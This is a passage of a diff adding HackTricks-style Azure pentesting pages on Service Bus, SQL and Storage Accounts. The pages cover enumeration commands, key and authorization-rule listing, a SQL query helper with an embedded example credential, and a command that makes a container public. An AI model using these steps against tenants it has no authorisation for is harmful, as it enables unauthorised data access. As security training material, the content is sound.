- Subscriptions can have rules/filters to control delivery or add metadata.
|
||||
- Supports many-to-many communication.
|
||||
3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
|
||||
|
||||
### Advance Features
|
||||
|
||||
Some advance features are:
|
||||
|
||||
- **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
|
||||
- **Auto-Forwarding**: Transfers messages between queues or topics in the same namespace.
|
||||
- **Dead-Lettering**: Captures undeliverable messages for review.
|
||||
- **Scheduled Delivery**: Delays message processing for future tasks.
|
||||
- **Message Deferral**: Postpones message retrieval until ready.
|
||||
- **Transactions**: Groups operations into atomic execution.
|
||||
- **Filters & Actions**: Applies rules to filter or annotate messages.
|
||||
- **Auto-Delete on Idle**: Deletes queues after inactivity (min: 5 minutes).
|
||||
- **Duplicate Detection**: Removes duplicate messages during resends.
|
||||
- **Batch Deletion**: Bulk deletes expired or unnecessary messages.
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
|
||||
|
||||
- **Permissions**: Checkboxes to specify access levels:
|
||||
- Manage: Grants full control over the entity, including configuration and permissions management.
|
||||
- Send: Allows sending messages to the entity.
|
||||
- Listen: Allows receiving messages from the entity.
|
||||
- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
|
||||
- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
|
||||
- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyQueue>
|
||||
|
||||
# Topic Enumeration
|
||||
az servicebus topic list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus topic show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyTopic>
|
||||
|
||||
# Susbscription Enumeration
|
||||
az servicebus topic subscription list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus topic subscription show --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic> --name <MySubscription>
|
||||
|
||||
# Namespace Enumeration
|
||||
az servicebus namespace list
|
||||
az servicebus namespace network-rule-set list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus namespace show --resource-group <MyResourceGroup> --name <MyNamespace>
|
||||
az servicebus namespace network-rule-set show --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus namespace private-endpoint-connection list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus namespace exists --name ProposedNamespace
|
||||
|
||||
# Authorization Rule Enumeration
|
||||
az servicebus namespace authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
az servicebus queue authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --queue-name <MyQueue>
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,261 @@
|
||||
# Az - SQL
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure SQL
|
||||
|
||||
Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
|
||||
|
||||
Azure SQL consists of three main offerings:
|
||||
|
||||
1. **Azure SQL Database**: This is a **fully-managed database service**, which allows you to host individual databases in the Azure cloud. It offers built-in intelligence that learns your unique database patterns and provides customized recommendations and automatic tuning.
|
||||
2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
|
||||
3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.
|
||||
|
||||
### Azure SQL Database
|
||||
|
||||
**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
|
||||
|
||||
#### Key Features
|
||||
|
||||
- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
|
||||
- **PaaS Capabilities**: Built-in high availability, backups, and updates.
|
||||
- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
|
||||
|
||||
#### Purchasing Models / Service Tiers
|
||||
|
||||
- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
|
||||
- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
|
||||
- Standard: Balanced resources for common tasks.
|
||||
- Premium: High performance for demanding workloads.
|
||||
|
||||
#### Deployment Models
|
||||
|
||||
Azure SQL Database supports flexible deployment options to suit various needs:
|
||||
|
||||
- **Single Database**:
|
||||
- A fully isolated database with its own dedicated resources.
|
||||
- Great for microservices or applications requiring a single data source.
|
||||
- **Elastic Pool**:
|
||||
- Allows multiple databases to share resources within a pool.
|
||||
- Cost-efficient for applications with fluctuating usage patterns across multiple databases.
|
||||
|
||||
#### Scalable performance and pools
|
||||
|
||||
- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1–128 vCores, 32 GB–4 TB storage, and up to 128 TB).
|
||||
- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
|
||||
- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
|
||||
- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
|
||||
|
||||
#### Built-In Monitoring & Optimization
|
||||
|
||||
- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
|
||||
- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
|
||||
- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
|
||||
|
||||
#### Disaster Recovery & Availavility
|
||||
|
||||
- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
|
||||
- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
|
||||
- **Geo-Redundancy**
|
||||
- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
|
||||
**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
|
||||
|
||||
#### Service Tiers
|
||||
|
||||
- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
|
||||
- **Business Critical**: High-performance option with low I/O latency for critical workloads.
|
||||
|
||||
#### Advanced Security Features
|
||||
|
||||
* **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
|
||||
* **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
|
||||
* **Backups**: Automated and manual backups with point-in-time restore capability.
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
|
||||
**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
|
||||
|
||||
#### Key Features
|
||||
|
||||
**Automated Backup**: Schedule backups for SQL databases.
|
||||
**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
|
||||
**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
|
||||
**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
|
||||
**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
|
||||
|
||||
#### Security Features
|
||||
|
||||
**Microsoft Defender for SQL**: Security insights and alerts.
|
||||
**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
|
||||
**Microsoft Entra (Azure AD)**: Authentication and access control.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# List Servers
|
||||
az sql server list # --output table
|
||||
## List Server Usages
|
||||
az sql server list-usages --name <server_name> --resource-group <resource_group>
|
||||
## List Server Firewalls
|
||||
az sql server firewall-rule list --resource-group <resource_group> --server <server_name>
|
||||
## List of Azure Active Directory administrators in a server.
|
||||
az sql server ad-admin list --resource-group <resource_group> --server <server_name>
|
||||
## Gets an advanced threat protection
|
||||
az sql server advanced-threat-protection-setting show --resource-group <resource_group> --name <server_name>
|
||||
## Get server's auditing policy.
|
||||
az sql server audit-policy show --resource-group <resource_group> --name <server_name>
|
||||
## Gets a server's secure connection policy.
|
||||
az sql server conn-policy show --resource-group <resource_group> --server <server_name>
|
||||
## Gets a list of server DNS aliases for a server.
|
||||
az sql server dns-alias list --resource-group <resource_group> --server <server_name>
|
||||
## List of server keys.
|
||||
az sql server key list --resource-group <resource_group> --server <server_name>
|
||||
## Gets a server encryption protector.
|
||||
az sql server tde-key show --resource-group <resource_group> --server <server_name>
|
||||
|
||||
# List Databases in a SQL server
|
||||
az sql db list --server <server_name> --resource-group <resource_group> #--output table
|
||||
## Get details of a specific database
|
||||
az sql db show --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List database usages
|
||||
az sql db list-usages --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List of operations performed on the database.
|
||||
az sql db op list --database <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List sql database classification
|
||||
az sql db classification list --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List long-term retention backups for a SQL database
|
||||
az sql db ltr-backup list --database <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List long-term retention policy
|
||||
az sql db ltr-policy --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List long-term retention policy
|
||||
az sql db str-policy --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List the replicas of a database and their replication status
|
||||
az sql db replica list-links --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List deleted SQL databases
|
||||
az sql db list-deleted --server <server_name> --resource-group <resource_group>
|
||||
## List database usages
|
||||
az sql db list-usages --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
## List restorable dropped databases in a SQL server
|
||||
az sql db list-deleted --server <server_name> --resource-group <resource_group>
|
||||
## List advanced threat protection setting show
|
||||
az sql db advanced-threat-protection-setting --name <database_name> --server <server_name> --resource-group <resource_group>
|
||||
|
||||
# List all elastic pools in a SQL server
|
||||
az sql elastic-pool list --server <server_name> --resource-group <resource_group> #--output table
|
||||
## List all databases in a specific elastic pool
|
||||
az sql elastic-pool show --name <elastic_pool_name> --server <server_name> --resource-group <resource_group>
|
||||
## List of databases in an elastic pool.
|
||||
az sql elastic-pool list-dbs --name <elastic_pool_name> --server <server_name> --resource-group <resource_group>
|
||||
|
||||
# List all managed Instances
|
||||
az sql mi list
|
||||
az sql mi show --resource-group <res-grp> --name <name>
|
||||
az sql midb list
|
||||
az sql midb show --resource-group <res-grp> --name <name>
|
||||
|
||||
# Lis all sql VM
|
||||
az sql vm list
|
||||
az sql vm show --resource-group <res-grp> --name <name>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
|
||||
# List All Databases in a SQL Server
|
||||
Get-AzSqlDatabase -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
# Get Details of a Specific Database
|
||||
Get-AzSqlDatabase -Name "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
|
||||
# List Operations Performed on the Database
|
||||
Get-AzSqlDatabaseActivity -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
|
||||
# List SQL Database Classification
|
||||
Get-AzSqlDatabaseSensitivityClassification -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
|
||||
# List Long-Term Retention Backups for a SQL Database
|
||||
Get-AzSqlDatabaseLongTermRetentionBackup -ResourceGroupName "<resource_group>" -Location "<location>"
|
||||
# List Replicas of a Database and Their Replication Status
|
||||
Get-AzSqlDatabaseReplicationLink -DatabaseName "<database_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
# List Deleted SQL Databases
|
||||
Get-AzSqlDeletedDatabaseBackup -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
|
||||
# List All Elastic Pools in a SQL Server
|
||||
Get-AzSqlElasticPool -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
# List All Databases in a Specific Elastic Pool
|
||||
Get-AzSqlElasticPoolDatabase -ElasticPoolName "<elastic_pool_name>" -ServerName "<server_name>" -ResourceGroupName "<resource_group>"
|
||||
|
||||
# List all managed Instances
|
||||
Get-AzSqlInstance
|
||||
Get-AzSqlInstance -ResourceGroupName <ResourceGroupName> -Name <ManagedInstanceName>
|
||||
|
||||
# List All Databases in a SQL Managed Instance
|
||||
Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <ManagedInstanceName>
|
||||
|
||||
# Lis all sql VM
|
||||
Get-AzSqlVM
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Connect and run SQL queries
|
||||
|
||||
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
|
||||
|
||||
```powershell
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
|
||||
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
|
||||
|
||||
```powershell
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-sql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,437 @@
|
||||
# Az - Storage Accounts & Blobs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Storage Accounts are fundamental services in Microsoft Azure that provide scalable, secure, and highly available cloud **storage for various data types**, including blobs (binary large objects), files, queues, and tables. They serve as containers that group these different storage services together under a single namespace for easy management.
|
||||
|
||||
**Main configuration options**:
|
||||
|
||||
- Every storage account must have a **uniq name across all Azure**.
|
||||
- Every storage account is deployed in a **region** or in an Azure extended zone
|
||||
- It's possible to select the **premium** version of the storage account for better performance
|
||||
- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
|
||||
|
||||
**Security configuration options**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
|
||||
- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
|
||||
- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
|
||||
|
||||
**Blob Storage options**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
|
||||
|
||||
**Networking options**:
|
||||
|
||||
- **Network access**:
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: It allows a private connection to the storage account from a virtual network
|
||||
|
||||
**Data protection options**:
|
||||
|
||||
- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
|
||||
- It requires versioning, change feed, and blob soft delete to be enabled.
|
||||
- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
|
||||
- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
|
||||
- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
|
||||
- **Enable versioning for blobs**: Maintain previous versions of your blobs
|
||||
- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
|
||||
- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
|
||||
- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
|
||||
|
||||
**Encryption configuration options**:
|
||||
|
||||
- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
|
||||
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
|
||||
|
||||
- Give **public access to read blobs** (you need to know the name).
|
||||
- **List container blobs** and **read** them.
|
||||
- Make it fully **private**
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Connect to Storage
|
||||
|
||||
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
|
||||
|
||||
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way.
|
||||
|
||||
### Access Keys
|
||||
|
||||
The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
|
||||
|
||||
- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
|
||||
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **shared key for table services** signing the following information:
|
||||
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
|
||||
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for table services** signing the following information:
|
||||
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
|
||||
Then, to use the key, it can be done in the Authorization header following the syntax:
|
||||
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
|
||||
PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specific permissions to access resource**s in an Azure Storage account without exposing the account's access keys. While access keys provide full administrative access to all resources, SAS allows for granular control by specifying permissions (like read or write) and defining an expiration time.
|
||||
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
|
||||
- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
|
||||
- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
|
||||
- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
A SAS URL signed as a **user delegation** looks like this:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
|
||||
#### SAS permissions
|
||||
|
||||
When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products.
|
||||
|
||||
### Key Features
|
||||
|
||||
- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
|
||||
- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
|
||||
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
|
||||
|
||||
### Setup Requirements
|
||||
|
||||
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
|
||||
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
|
||||
### Permissions
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Read file content. |
|
||||
| **Write** | `w` | Upload files and create directories. |
|
||||
| **List** | `l` | List contents of directories. |
|
||||
| **Delete** | `d` | Delete files or directories. |
|
||||
| **Create** | `c` | Create files or directories. |
|
||||
| **Modify Ownership** | `o` | Change the owning user or group. |
|
||||
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
|
||||
# BLOB STORAGE
|
||||
## List containers
|
||||
az storage container list --account-name <name>
|
||||
## Check if public access is allowed
|
||||
az storage container show-permission \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## Make a container public
|
||||
az storage container set-permission \
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## List blobs in a container
|
||||
az storage blob list \
|
||||
